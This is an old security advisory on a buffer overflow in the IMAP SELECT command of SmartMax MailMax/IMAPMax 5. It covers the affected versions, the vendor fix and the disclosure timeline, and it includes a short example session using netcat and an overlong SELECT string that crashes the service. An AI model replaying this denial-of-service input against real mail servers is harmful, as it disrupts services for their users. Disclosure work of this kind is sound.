[NT] Buffer Overflow Vulnerability found in MailMax (SELECT)
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Date: 05/18/03
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Buffer Overflow Vulnerability found in MailMax (SELECT)
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SUMMARY
<http://www.smartmax.com/> MailMax is "a scalable e-mail server that
supports SMTP, IMAP4, and POP3 protocols". There is a buffer overflow
vulnerability in the IMAP4 protocol, within the IMAP4rev1 SmartMax IMAPMax
5, exploiting the vulnerability will cause the service to stop responding.
DETAILS
Vulnerable systems:
* IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Immune systems:
* IMAP4rev1 SmartMax IMAPMax 5.5
When a malicious attacker sends a large amount into the SELECT command.
The buffer will overflow.
Example:
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
Vendor response:
The vendor has issued a fix (version 5.5) released by May 10th.
Timeline:
11/04/2003 Received an email from Mark Litchfield
15/04/2003 Made an analysis and found the vulnerability
28/04/2003 Reported the vulnerability to Vendor (support-at-smartmax.com)
02/05/2003 Received response from Vendor
17/05/2003 Public Disclosure.
ADDITIONAL INFORMATION
The vulnerability was discovered and reported by <mailto:Matrix at
0x36.org> .
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